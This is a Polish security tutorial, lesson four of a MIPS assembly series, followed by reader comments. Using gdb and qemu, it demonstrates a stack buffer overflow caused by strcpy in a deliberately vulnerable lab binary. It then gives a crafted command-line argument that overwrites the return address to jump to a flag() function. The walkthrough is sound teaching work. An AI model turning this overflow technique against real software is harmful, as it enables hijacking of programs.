Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Jak się w końcu zabrać za tego assemblera? Czyli MIPS w kontekście bezpieczeństwa – lekcja 4.
Ostatnie zadanie było trochę inne niż wszystkie – więcej działania oprócz samej analizy. Musiałeś pogonić aplikację, aby ta uruchomiła pewną funkcję, chociaż nie miała tego w planach. Dałeś radę?
Mam szczerą nadzieję, że nie szukałeś rozwiązania w Internecie, a w swojej głowie, oczywiście z pomocą gdb. Jeśli nie dałeś rady, ale bardzo chcesz się jeszcze pomęczyć, to – goto #3 lekcja i atakuj. Jeśli jednak doszedłeś do rozwiązania, to będę bardzo wdzięczny za komentarz, jak sobie z tym poradziłeś ;>
Kawa, terminal i jedziemy.
Rozpoznanie
Uruchom program z parametrem: „/usr/bin/qemu-mipsel-static hw $(printf „A%.0s” {1..200})”. Przy uruchomieniu podaliśmy jako parametr programu 200 znaków „A”. Program zadziałał prawidłowo, lecz nie o to nam chodziło.
Spróbujmy jeszcze raz. Uruchom program zwiększając teraz wartość parametru o 4 znaki: „/usr/bin/qemu-mipsel-static hw $(printf „A%.0s” {1..204})”.
~$ /usr/bin/qemu-mipsel-static hw $(printf „A%.0s” {1..204})
Niet.
qemu: uncaught target signal 11 (Segmentation fault) – core dumped
Naruszenie ochrony pamięci
Mamy coś. Powyższy błąd mówi nam o tym, że program chciał dobić się do pamięci nieprzeznaczonej konkretnie dla niego. Ciekawe…
Zaraz zbadamy to za pomocą gdb, tymczasem zobacz jeszcze raz na kod Twojego programu:
char buf[200] ="\0"; strcpy(buf, argv[1]);
Program ma zadeklarowaną 200-elementową tablicę znaków, do której przy uruchomieniu kopiowana jest wartość naszego parametru. Wszystko przebiega prawidłowo, kiedy tego limitu nie przekraczamy.
Funkcja „strcpy(to, from)” kopiuje znaki z jednej tablicy (from) do drugiej (to). W momencie kiedy tablica „from” (w naszym przypadku jest to parametr programu) zawiera więcej znaków niż tablica „to”, dochodzi do tzw. przepełnienia bufora („buffer overflow”), co umożliwia atakującemu przejęcie kontroli nad działaniem programu.
Dzieje się tak za sprawą funkcji „strcpy()”, która nie ma wbudowanej kontroli limitu kopiowanych znaków, chociaż funkcja sama w sobie nie jest winna – implementacja w projektowanym sofcie takich czy innych funkcji, bibliotek itp., a także walidacja danych zawsze leży po stronie programisty. W każdym razie trzeba to zbadać gdb i zaraz zobaczymy, co będziemy mogli z tego wystrugać.
Zanim rozpoczniemy naszą analizę, musisz wiedzieć, że oprócz funkcji „strcpy()” istnieje także funkcja „strncpy()”, której trzecim parametrem jest liczba – limit kopiowanych znaków z tablicy „from” do tablicy „to”. Trzeba jednak uważać tutaj na pewną rzecz: jeśli liczba ta będzie większa od liczby znaków w tablicy „to”, to i w takim przypadku może dojść do przepełnienia bufora. PS. Pamiętaj też, że rozmiar tablic liczy się od indeksu 0 ;)
Jedziemy:
Reading symbols from hw…done.
(gdb) target remote 127.0.0.1:7331
Twój program powinien w tym momencie dostać strzała:
Reading symbols from hw…done.
(gdb) target remote 127.0.0.1:7331
Remote debugging using 127.0.0.1:7331
0x00400190 in __start ()
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb)
I tak ma być. Przeanalizujmy razem sobie tę sytuację. Na samym początku zwróć uwagę na początek funkcji „main” („disassemble main”):
…
(gdb) disassemble main
Dump of assembler code for function main:
<+0>: addiu sp,sp,-232
<+4>: sw ra,228(sp)
<+8>: sw s8,224(sp)
…
Powinieneś już rozpoznać (po przerobieniu poprzedniej lekcji oczywiście ;)) prolog programu, w którym program zaalokował sobie na stosie miejsce na wartości poprzednich rejestrów oraz zmienne lokalne, w tym również na naszą 200-elementową tablicę.
Ogólnie wygląda to tak:
Dobra. Wróć do drugiego terminala (z gdb) i zobacz, co się stało z wartościami na stosie:
Ciąg znaków parametru programu był na tyle długi, że nie zmieścił się w przydzielonej mu pamięci i skutkiem tego wartości rejestrów odłożone na stos także zostały nadpisane.
W tym również wartość rejestru $ra ;>
Rejestr adresu powrotu $ra wskazuje na adres 0x44444444 (ciąg „DDDD” w naszym parametrze) – program zgłupiał, bo nie ma dostępu do pamięci pod tym adresem. Zanim przejdziesz dalej, zastanów się przez moment, jaką możliwość daje Ci nadpisanie rejestru $ra ;)
Atak
Chwila chwila… a gdzie jest nasza funkcja „flag()”, którą masz finalnie uruchomić? Jako że zbliżamy się do końca tej lekcji, warto byłoby się nią w końcu zainteresować ;>
Jak masz jeszcze odpalony terminal z gdb, to zobaczmy sobie funkcję „flag()”:
(gdb) disassemble flag
Dump of assembler code for function flag:
0x0040044c <+0>: addiu sp,sp,-32
0x00400450 <+4>: sw ra,28(sp)
0x00400454 <+8>: sw s8,24(sp)
…
Żyje. W tym momencie mamy już wszystkie informacje, które są potrzebne do skonstruowania odpowiedniego parametru uruchamiającego funkcję „flag()”. Jak pamiętasz z powyższego rozdziału, rejestr $ra został nadpisany wartością 0x44444444, która po zamianie na string będzie miała postać „DDDD”; są to też cztery ostatnie znaki parametru, jaki przekazaliśmy podczas testowania programu.
Cały trik polega na tym, aby rejestr $ra został nadpisany adresem funkcji „flag()” po to, aby program miał tam skoczyć po wykonaniu funkcji „main()” (epilog).
~$ /usr/bin/qemu-mipsel-static hw „AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC`echo -e '\\x4c\\x04\\x40’`”
Wygrales!
^C
Mam nadzieję, że dotarłeś do końca i zrobiłeś ;>
Mam nadzieję, że zadanie nie sprawiło Ci wielu problemów ;>
Czeka nas jeszcze ostatnia lekcja z MIPSa: nowe środowisko, no i więcej security.
Kombinuj i nie poddawaj się ;>
–Mateusz Wójcik, grupa Squadron31
Ahh, to zakończenie.. nowe środowisko, więcej security… jest dreszczyk! Nie mogę się doczekać następnej lekcji :D Szkoda tylko, że będzie ona ostatnią :(
Co do samej treści: oczywiście jak zwykle świetnie wytłumaczone :) Jedyne, co jest nieprzejrzyste, to.. fakt, że długie linie wejścia do tego programu MIPSowego są ucinane i nie da się tak po prostu zobaczyć bez jakiegoś Inspect Elementu.. Ale poza tym, lekcja super jak cała seria, przejrzysta i do ogarnięcia dla każdego komu się chce :)
I jeszcze pozwolę sobie odpowiedzieć tutaj (sorry, że dopiero teraz) na Twoje pytanie @Mateusz z ostatniej lekcji:
Z samą konfiguracją buildroota itd problemów żadnych nie miałem, o ile pamiętam instrukcja z pierwszej lekcji zawierała wszystko co potrzebne, tylko kilka rzeczy sobie inaczej zainstalowałem, ale z wyboru, nie przymusu :)
@Wójt dzięki, służę ;)
Co do kontynuacji tematów z obszaru IoT security – jest naprawdę masa wiedzy | researchu do opisania i zgłębiania.
Pytanie jest tylko jedno – czy będą zainteresowani tym tematem.
Co do buildroota: extra, że zrobiłeś! Szacunek, że miałeś tyle chęci aby dojść do tego momentu :)
Jeśli chodzi o sam debug softu na IoT – ogólnie pisząc – trzeba się czasem nakombinować aby uruchomić sobie swoją „piaskownicę” do zabawy.